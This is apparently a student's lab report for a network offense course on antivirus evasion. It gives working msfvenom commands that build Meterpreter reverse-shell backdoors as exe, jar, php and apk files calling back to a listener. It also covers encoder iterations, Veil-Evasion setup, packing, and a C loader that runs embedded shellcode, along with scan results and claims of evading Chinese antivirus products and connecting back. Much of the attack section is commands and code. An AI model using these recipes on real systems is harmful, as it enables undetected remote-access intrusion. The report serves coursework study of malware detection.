2019-2020-2 20175313張黎仙《網絡對抗技術》Exp3 免殺原理與實踐

[TOC]

一、實驗目標

  1. 瞭解惡意軟件檢測機制
  2. 學會使用msf、veil、加殼工具、C+shellcode等方法實現部分免殺
  3. 通過組合應用各種技術實現惡意代碼免殺
  4. 掌握將生成的免殺程序注入目標機,並回連成功

二、預備知識

免殺概念

一般是對惡意軟件做處理,讓它不被殺毒軟件所檢測。

惡意軟件檢測機制

  • 基於特徵碼的檢測
  • 惡意代碼包含這樣的數據
  • 正常程序不包含這樣的數據
  • AV軟件廠商要做的就是儘量蒐集最全的、最新的特徵碼庫
  • 啓發式惡意軟件檢測
  • 根據些片面特徵去推斷。通常是因爲缺乏精確判定依據。
  • 對惡意軟件檢測來主說,就是如果一個軟件在幹通常是惡意軟件乾的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件吧。
  • 典型的行爲如連接惡意網站、開放端口、修改系統文件,典型的“外觀”如文件本身簽名、結構、廠商等信息等。各個廠商會定義自己的檢測模式。
  • 基於行爲的惡意軟件檢測

從理論上講,基於行爲的檢測相當於是啓發式的一種,或者是加入了行爲監控的啓發式。

免殺原理及技術

  • 改變特徵碼
  • 只有EXE
    • 加殼:壓縮殼 加密殼
  • 有shellcode(像Meterpreter)
    • 用encode進行編碼
    • 基於payload重新編譯生成可執行文件
  • 有源代碼
    • 用其他語言進行重寫再編譯(veil-evasion)
  • 改變行爲
  • 通訊方式
    • 儘量使用反彈式連接:meterpreter本身即主要使用反彈連接
    • 使用隧道技術:如dns2tcp、iodine可將流量封閉爲DNS協議包
    • 加密通訊數據:如使用reverse-https進行轉發
  • 操作模式
    • 基於內存操作:meterpreter是基於內存操作的操作的
    • 減少對系統的修改
    • 加入混淆作用的正常功能代碼

msf的使用幫助

root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b'\ x00'LHOST = 192.168.136.131 LPORT = 5313 -f exe> KiTTy_backdoor.exe

  • 參數說明:
  • -p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
  • -e 使用的編碼器,用於對shellcode變形,爲了免殺。
  • -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反彈回連的IP
  • LPORT 是回連的端口
  • -f 生成文件的類型
  • > 輸出到哪個文件

三、實驗內容

任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil,加殼工具等單一方法實現部分免殺

實驗要求

(1)正確使用msf編碼器

  • 使用msfvenom -l encoders查看可以用於生成後門的編碼器

  • 使用實驗二生成的後門程序,放在VirusTotal上進行掃描,結果如下:

  • 將編碼一次生成的後門程序進行掃描,結果如下:

  • 將編碼十次生成的後門程序進行掃描,結果如下:

  • 結論
  • 對比上述三組實驗結果,可知AV廠商研究的是編碼器本身,shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,只要盯住這部分就可以了。
  • 還有模板。模板就是msfvenom用來生成最終Exe的那個殼子exe文件,msfvenom會以固定的模板生成exe,所有它生成的exe,如果使用默認參數或模板,也有一定的固定特徵。
  • AV廠商還會針對其使用的模板來生成特徵碼,這樣就一勞永逸地解決所有msfvenom生成的惡意代碼了。那如果使用msfvenom免殺,就要使用原生的模板。

(2)msfvenom生成如jar之類的其他文件

  • 生成jar文件

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.136.131 lport=5313 x> meter_backdoor_java.jar

  • 生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 x> meter_backdoor.php

  • 生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 R > meter_backdoor.apk

(3)veil

  • 先輸入veil指令,然後用use evasion命令進入Veil-Evasion

  • 輸入use c/meterpreter/rev_tcp.py進入配置界面
  • 設置反彈連接IPset LHOST 192.168.136.131
  • 設置端口set LPORT 5313
  • 查看配置options
  • 輸入generate生成文件,接着輸入生成的文件名

  • 驗證生成的文件路徑是否正確

  • 掃描結果:

  • 騰訊電腦管家查殺結果:

(4)加殼工具

  • 壓縮殼

  • 加密殼

(5)使用C + shellcode編程

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 -f c用c語言生成一段shellcode;
  • 創建一個文件20175313zlx.c,然後將unsigned char buf[]賦值到其中,代碼如下:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
...
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20175313zlx.c -o 20175313_backdoor.exe生成可執行文件;

  • 騰訊電腦管家和金山毒霸查殺結果:

(6)使用其他課堂未介紹方法

  1. 生成shellcode
msfvenom -p  windows/meterpreter/reverse_https -e x86/xor_dynamic -i 5 -b '\x00' lhost=192.168.87.128 lport=5313  -f c -o shell.c
  1. c+shellcode用codeblocks編譯,生成.exe

  1. 壓縮殼

反而變成22/72,也許是壓縮殼upx經常被使用,特徵較爲明顯。

  1. Windows下軟件查殺

任務二:通過組合應用各種技術實現惡意代碼免殺

  • 選擇生成ruby程序
  • 進行tcp_ssl連接
  • 選擇動態異或編譯器
  • 成功實現免殺

  • 下載ruby編譯器,編譯生成exe
  • 分別下載了金山毒霸和騰訊電腦管家進行測試,結果也都免殺成功。
  • 騰訊電腦管家查殺結果:
  • 金山毒霸查殺結果:

任務三:將生成的免殺程序注入目標機,並回連成功

  • 金山毒霸,版本2017.6.16.18427
  • 騰訊電腦管家,版本2.0.6.27
  • 回連過程與實驗二類似這裏就不過多敘述,詳情見實驗二.

四、實驗過程中遇到的問題

  • 問題:ip addr找不到地址

  • 解決方法:
  • 進入root模式下,輸入vim /etc/network/interfaces
  • 修改配置文件,在文件最後添加
auto eth0
iface eth0 inet dhcp
  • 保存並退出後,輸入/etc/init.d/networking restart重啓網卡,就解決了。

五、實驗思考

基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?

通過惡意軟件檢測機制,進行檢測。

  • 基於特徵碼的檢測
  • 啓發式惡意軟件檢測
  • 基於行爲的惡意軟件檢測

(2)免殺是做什麼?

免殺就是通過對殺軟檢測惡意代碼的方法進行分析,對惡意軟件做處理,使其避免採用這些方法,從而達到讓它不被殺毒軟件所檢測到的目的。

(3)免殺的基本方法有哪些?

既然殺軟是通過上述惡意軟件檢測機制對惡意代碼進行查殺,那麼要達到免殺必然要對上面的查殺規則進行一定加工,使其無法讓殺軟檢測出這些規則。


  • 改變特徵碼
  • 只有EXE
    • 加殼:壓縮殼 加密殼
  • 有shellcode(像Meterpreter)
    • 用encode進行編碼
    • 基於payload重新編譯生成可執行文件
  • 有源代碼
    • 用其他語言進行重寫再編譯(veil-evasion)
  • 改變行爲
  • 通訊方式
    • 儘量使用反彈式連接:meterpreter本身即主要使用反彈連接
    • 使用隧道技術:如dns2tcp、iodine可將流量封閉爲DNS協議包
    • 加密通訊數據:如使用reverse-https進行轉發
  • 操作模式
    • 基於內存操作:meterpreter是基於內存操作的操作的
    • 減少對系統的修改
    • 加入混淆作用的正常功能代碼

思考題

開啓殺軟能絕對防止電腦中惡意代碼嗎?

不能。

  • 每一款殺毒軟件都是針對一部分惡意代碼進行設計的,對於形形色色的惡意代碼,可能這個殺毒軟件能殺出來,但另一個殺毒軟件就不一定能殺出來,你又不可能把所有殺毒軟件都裝在電腦中。
  • 再者說來,殺軟的檢測機制要求其實時更新,而對於一些高級玩家他們寫出的惡意代碼可能不具備這些特徵,殺軟照樣無可奈何。

六、實踐總結與體會

實驗總結

實驗體會

  • 本次實驗,主要費時間的就是veil的安裝,以及構造免殺的惡意代碼。
  • 對於veil的安裝,我只能說這真的考驗人的耐心。在安裝過程中,我都把一週的毛中特摘抄抄完了……,雖然它就三條指令,但是克隆是真的慢……
  • 對於構造免殺代碼,我真的是瞎貓碰上死耗子,這種我覺得也是純粹靠運氣。簡單的不一定就容易被查殺,複雜的也不一定不容易被查殺。就拿我起初構造的免殺代碼來說,簡單c+shellcode,72個查殺出20個;我說加個壓縮殼把,72個查殺出22個;我說再加個加密殼,72個查殺出24個……
  • 當然通過本次實驗,又加深了我對惡意代碼的認識,每個實驗都能學到不一樣的東西,學無止境。

七、參考資料

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章